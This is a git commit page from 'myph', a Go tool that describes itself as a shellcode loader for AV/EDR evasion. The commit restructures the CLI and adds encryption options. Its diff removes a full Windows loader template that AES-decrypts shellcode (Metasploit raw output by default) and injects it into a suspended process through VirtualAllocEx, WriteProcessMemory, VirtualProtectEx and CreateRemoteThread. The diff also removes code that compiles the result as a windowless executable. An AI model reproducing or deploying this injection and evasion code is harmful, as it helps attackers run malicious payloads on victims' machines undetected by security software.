myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit b3d5409ba69e2681c8dcbef92d6005102c49d5a2
parent 545b6f8d848f20b8f2547b2508ed8d8b9c7e66d3
Author: winds0r <[email protected]>
Date: Thu, 13 Jul 2023 17:51:19 +0900

feat(loader): started loader structure rework with this work, we can hopefully support much more methods for Encryption and execution of golang shellcode B)

Diffstat:
Mcli/defaults.go | 13+++++++------
Mcli/parser.go | 54+++++++++++++++++-------------------------------------
Mcli/types.go | 43++++++++++++++++++++++++++++++++++++++++---
Mgo.mod | 4++--
Mgo.sum | 8++++----
Dloader/aes.go | 33---------------------------------
Dloader/compile.go | 26--------------------------
Dloader/types.go | 15---------------
Mloader/utils.go | 76++++++++++++++++++++++++++++++++++++++++++++++++++++++++--------------------
Dloader/windows.go | 198-------------------------------------------------------------------------------

10 files changed, 126 insertions(+), 344 deletions(-)

diff --git a/cli/defaults.go b/cli/defaults.go
@@ -7,12 +7,13 @@ import (
 // Get default value for Options struct
 func GetDefaultCLIOptions() Options {
 	opts := Options{
-		ShellcodePath: "",
-		AesKey:        RandBytes(32),
-		Outfile:       "myph-out.exe",
-		OS:            "windows",
-		arch:          "amd64",
-		Target:        "explorer.exe",
+		ShellcodePath:  "msf.raw",
+		Outfile:        "myph-out",
+		OS:             "windows",
+		arch:           "amd64",
+		Target:         "",
+        Encryption:     encKindAES,
+        Key:            "",
 	}
 
 	return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -2,19 +2,21 @@ package cli
 
 import (
 	"fmt"
+	"os"
+
 	"github.com/cmepw/myph/loader"
 	"github.com/spf13/cobra"
-	"os"
 )
 
+
 func GetParser(opts *Options) *cobra.Command {
-	version := "0.0.1"
+	version := "2.0.0"
 	var cmd = &cobra.Command{
 		Use:                "myph",
 		Version:            version,
 		DisableSuggestions: true,
-		Short:              "AV bypass shellcode creation framework",
-		Long:               `CLI to prepare your shellcode and do AV/EDR bypass`,
+		Short:              "minimal golang loader",
+		Long:               `In loving memory of Wassyl Iaroslavovytch Slipak (1974 - 2016)`,
 		Run: func(cmd *cobra.Command, args []string) {
 
 			if opts.ShellcodePath == "" {
@@ -22,51 +24,29 @@ func GetParser(opts *Options) *cobra.Command {
 				os.Exit(1)
 			}
 
-			plaintext_payload, err := loader.ReadFile(opts.ShellcodePath)
-			if err != nil {
-				fmt.Printf("[!] Read shellcode error: %s\n", err.Error())
-				os.Exit(1)
-			}
-
-			fmt.Println("[+] Successfully read shellcode")
-			payload, err := loader.Encrypt(opts.AesKey, plaintext_payload)
-			if err != nil {
-				fmt.Println(err.Error())
-				os.Exit(1)
-			}
+            err := loader.CreateTmpProjectRoot(opts.Outfile)
+            if err != nil {
+                fmt.Printf("[!] Error generating project root: %s", err)
+                os.Exit(1)
+            }
 
 			os.Setenv("GOOS", opts.OS)
 			os.Setenv("GOARCH", opts.arch)
-			s := loader.Shellcode{
-				Payload:  payload,
-				Filename: opts.Outfile,
-				AesKey:   []byte(opts.AesKey),
-				Target:   opts.Target,
-			}
+        },
 
-			fmt.Println("[+] Encrypted shellcode with AES key")
-			toCompile := loader.LoadWindowsTemplate(s)
-			err = loader.WriteToTempfile(toCompile)
-			if err != nil {
-				fmt.Printf("Write error: %s\n", err.Error())
-				os.Exit(1)
-			}
 
-			fmt.Println("[+] loaded Windows template")
-
-			/* run compilation */
-			loader.Compile(s)
-		},
-	}
+    }
 
 	defaults := GetDefaultCLIOptions()
 
 	cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "f", defaults.Outfile, "output filepath")
 	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
-	cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption")
+
 	cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
 	cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
-	cmd.PersistentFlags().StringVarP(&opts.Target, "target-process", "t", defaults.Target, "target for process injection")
+
+    cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, RSA, XOR, Blowfish)")
+    cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption-method)")
 
 	return cmd
 }
diff --git a/cli/types.go b/cli/types.go
@@ -1,16 +1,53 @@
 package cli
 
+import "errors"
+
+/// encryption kind (used for CLI)
+type encKind string
+
+const (
+    encKindAES encKind = "AES"
+    encKindXOR encKind = "XOR"
+    encKindRSA encKind = "RSA"
+    encKindBLF encKind = "Blowfish"
+)
+
+// String is used both by fmt.Print and by Cobra in help text
+func (e *encKind) String() string {
+    return string(*e)
+}
+
+// Set must have pointer receiver so it doesn't change the value of a copy
+func (e *encKind) Set(v string) error {
+    switch v {
+    case "AES", "XOR", "RSA", "Blowfish":
+        *e = encKind(v)
+        return nil
+    default:
+        return errors.New(`must be one of "AES", "XOR", "RSA" or "Blowfish"`)
+    }
+}
+
+// Type is only used in help text
+func (e *encKind) Type() string {
+    return "encKind"
+}
+
+
 type Options struct {
 
+    // Shellcode encryption method
+    Encryption encKind
+
+    // Encryption key (if needed)
+    Key string
+
 	// Shellcode path
 	ShellcodePath string
 
 	// Outfile path
 	Outfile string
 
-	// AES shellcode encryption secret
-	AesKey []byte
-
 	// os compilation target
 	OS string
 
diff --git a/go.mod b/go.mod
@@ -2,9 +2,9 @@ module github.com/cmepw/myph
 
 go 1.19
 
-require github.com/spf13/cobra v1.6.1
+require github.com/spf13/cobra v1.7.0
 
 require (
-	github.com/inconshreveable/mousetrap v1.0.1 // indirect
+	github.com/inconshreveable/mousetrap v1.1.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 )
diff --git a/go.sum b/go.sum
@@ -1,9 +1,9 @@
 github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
-github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
-github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
+github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
 github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
-github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
-github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
+github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
+github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
 github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
 github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
diff --git a/loader/aes.go b/loader/aes.go
@@ -1,33 +0,0 @@
-package loader
-
-import (
-	"crypto/aes"
-	"fmt"
-
-	"crypto/cipher"
-	"crypto/rand"
-	"io"
-)
-
-func ToString(payload []byte) string {
-	return fmt.Sprint([]byte(payload))
-}
-
-func Encrypt(key []byte, plaintext []byte) ([]byte, error) {
-	c, err := aes.NewCipher(key)
-	if err != nil {
-		return nil, err
-	}
-
-	gcm, err := cipher.NewGCM(c)
-	if err != nil {
-		return nil, err
-	}
-
-	nonce := make([]byte, gcm.NonceSize())
-	if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
-		return nil, err
-	}
-
-	return gcm.Seal(nonce, nonce, plaintext, nil), nil
-}
diff --git a/loader/compile.go b/loader/compile.go
@@ -1,26 +0,0 @@
-package loader
-
-import (
-	"fmt"
-	"os"
-	"os/exec"
-)
-
-func Compile(sc Shellcode) {
-	err := exec.Command(
-		"go",
-		"build",
-		"-ldflags",
-		"-s -w -H=windowsgui",
-		"-o",
-		sc.Filename,
-		"tmp.go",
-	).Run()
-	if err != nil {
-		println("[!] Compile error: " + err.Error())
-		os.Exit(1)
-	}
-	fmt.Println("[+] Successfully compiled shellcode")
-	os.Remove("tmp.go")
-
-}
diff --git a/loader/types.go b/loader/types.go
@@ -1,15 +0,0 @@
-package loader
-
-type Shellcode struct {
-	// payload in bytes
-	Payload []byte
-
-	// output filename
-	Filename string
-
-	// AES key used for encryption & decrpytion
-	AesKey []byte
-
-	// target process name to inject
-	Target string
-}
diff --git a/loader/utils.go b/loader/utils.go
@@ -1,15 +1,14 @@
 package loader
 
 import (
-	"bufio"
 	"bytes"
+	"fmt"
 	"io"
-	"log"
 	"os"
 )
 
-func ReadFile(filepath string) ([]byte, error) {
 
+func ReadFile(filepath string) ([]byte, error) {
 	buf := bytes.NewBuffer(nil)
 	f, err := os.Open(filepath)
 	if err != nil {
@@ -22,23 +21,60 @@ func ReadFile(filepath string) ([]byte, error) {
 	return buf.Bytes(), nil
 }
 
-func WriteToTempfile(payload string) error {
-	// create file
-	f, err := os.Create("tmp.go")
-	if err != nil {
-		log.Fatal(err)
-	}
-	defer f.Close()
+func DirExists(dir string) (bool, error) {
+    _, err := os.Stat(dir)
+    if err == nil {
+        return true, nil
+    }
 
-	buffer := bufio.NewWriter(f)
-	_, err = buffer.WriteString(payload + "\n")
-	if err != nil {
-		log.Fatal(err)
-	}
+    if os.IsNotExist(err) {
+        return false, nil
+    }
+    return false, err
+}
 
-	// flush buffered data to the file
-	if err := buffer.Flush(); err != nil {
-		log.Fatal(err)
-	}
-	return nil
+func CreateTmpProjectRoot(path string) error {
+
+    /*
+        create a directory with the path name
+        defined by the options
+    */
+
+    exists, err := DirExists(path)
+    if err != nil {
+        return err
+    }
+
+    if exists {
+        os.RemoveAll(path)
+    }
+
+    err = os.MkdirAll(path, 0777)
+    if err != nil {
+        return err
+    }
+
+    var go_mod = []byte(`
+        module github.com/cmepw/myph
+
+        go 1.20
+
+    `)
+
+    gomod_path := fmt.Sprintf("%s/go.mod", path)
+    fo, err := os.Create(gomod_path)
+    fo.Write(go_mod)
+
+    fmt.Println("[+] Project root created....")
+
+    maingo_path := fmt.Sprintf("%s/main.go", path)
+    _, _ = os.Create(maingo_path)
+
+    execgo_path := fmt.Sprintf("%s/exec.go", path)
+    _, _ = os.Create(execgo_path)
+
+    encryptgo_path := fmt.Sprintf("%s/main.go", path)
+    _, _ = os.Create(encryptgo_path)
+
+    return nil
 }
diff --git a/loader/windows.go b/loader/windows.go
@@ -1,198 +0,0 @@
-package loader
-
-import (
-	"fmt"
-)
-
-func LoadWindowsTemplate(s Shellcode) string {
-
-	hexShellcode := ToString(s.Payload)
-	hexKey := ToString(s.AesKey)
-	hexTarget := ToString([]byte(s.Target))
-
-	return fmt.Sprintf(`
-package main
-
-import (
-        "crypto/aes"
-        "os"
-        "syscall"
-        "unsafe"
-        "strings"
-        "strconv"
-        "crypto/cipher"
-        "errors"
-)
-
-
-const (
-    MEM_COMMIT                = 0x1000
-    MEM_RESERVE               = 0x2000
-    PAGE_READWRITE            = 0x4
-    PAGE_EXECUTE_READ         = 0x20
-    PAGE_EXECUTE_READWRITE    = 0x40
-    PROCESS_CREATE_THREAD     = 0x0002
-    PROCESS_QUERY_INFORMATION = 0x0400
-    PROCESS_VM_OPERATION      = 0x0008
-    PROCESS_VM_WRITE          = 0x0020
-    PROCESS_VM_READ           = 0x0010
-    CREATE_SUSPENDED          = 0x4
-    CREATE_NO_WINDOW          = 0x8000000
-)
-
-var (
-    kernel32            = syscall.MustLoadDLL("kernel32.dll")
-    ntdll               = syscall.MustLoadDLL("ntdll.dll")
-
-    RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
-
-    VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
-    VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
-    VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
-    WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
-    OpenProcess         = kernel32.MustFindProc("OpenProcess")
-    CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
-    closeHandle         = kernel32.MustFindProc("CloseHandle")
-)
-
-
-func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
-    c, err := aes.NewCipher(key)
-    if err != nil {
-        return nil, err
-    }
-
-    gcm, err := cipher.NewGCM(c)
-    if err != nil {
-        return nil, err
-    }
-
-    nonceSize := gcm.NonceSize()
-    if len(ciphertext) < nonceSize {
-        return nil, errors.New("ciphertext too short")
-    }
-
-    nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
-    return gcm.Open(nil, nonce, ciphertext, nil)
-}
-
-
-func StringBytesParseString(byteString string) (string, error) {
-    byteString = strings.TrimSuffix(byteString, "]")
-    byteString = strings.TrimLeft(byteString, "[")
-    sByteString := strings.Split(byteString, " ")
-    var res []byte
-    for _, s := range sByteString {
-        i, err := strconv.ParseUint(s, 10, 64)
-        if err != nil {
-            return "", err
-        }
-        res = append(res, byte(i))
-    }
-
-    return string(res), nil
-}
-
-func loadProcess(target string) *syscall.ProcessInformation {
-    var si syscall.StartupInfo
-	var pi syscall.ProcessInformation
-
-	commandLine, err := syscall.UTF16PtrFromString(target)
-
-	if err != nil {
-		panic(err)
-	}
-
-    err = syscall.CreateProcess(
-		nil,
-		commandLine,
-		nil,
-		nil,
-		false,
-		CREATE_SUSPENDED | CREATE_NO_WINDOW,
-		nil,
-		nil,
-		&si,
-		&pi)
-
-	if err != nil {
-		panic(err)
-	}
-
-	return &pi
-}
-
-func main() {
-
-    /* decode values from encoded bytes */
-    key, err := StringBytesParseString("%s"); if err != nil {
-        os.Exit(1)
-    }
-
-    bytesPayload, err := StringBytesParseString("%s"); if err != nil {
-        os.Exit(1)
-    }
-
-    target, err := StringBytesParseString("%s"); if err != nil {
-        os.Exit(1)
-    }
-
-    /* decrypt shellcode using AES */
-    shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
-        os.Exit(1)
-    }
-
-    /* spawn target process */
-    process := loadProcess(target)
-    oldProtectCfg := PAGE_READWRITE
-
-     /* allocating the appropriate amount of memory */
-    baseAddr, _, err := VirtualAllocEx.Call(
-        uintptr(process.Process),
-        0,
-        uintptr(len(shellcode)),
-        MEM_COMMIT | MEM_RESERVE,
-        PAGE_READWRITE,
-    )
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    /* overwriting process memory with our shellcode */
-    _, _, err = WriteProcessMemory.Call(
-        uintptr(process.Process),
-        baseAddr,
-        uintptr(unsafe.Pointer(&shellcode[0])),
-        uintptr(len(shellcode)),
-        0,
-    )
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    /* changing permissions for our memory segment */
-    _, _, err = VirtualProtectEx.Call(
-        uintptr(process.Process),
-        baseAddr,
-        uintptr(len(shellcode)),
-        PAGE_EXECUTE_READ,
-        uintptr(unsafe.Pointer(&oldProtectCfg)),
-    )
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    /* load remote thread */
-    _, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
-        if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-
-    /* close process handler */
-    _, _, err = closeHandle.Call(uintptr(process.Process))
-    if err.Error() != "The operation completed successfully." {
-        os.Exit(1)
-    }
-}
-`, hexKey, hexShellcode, hexTarget)
-}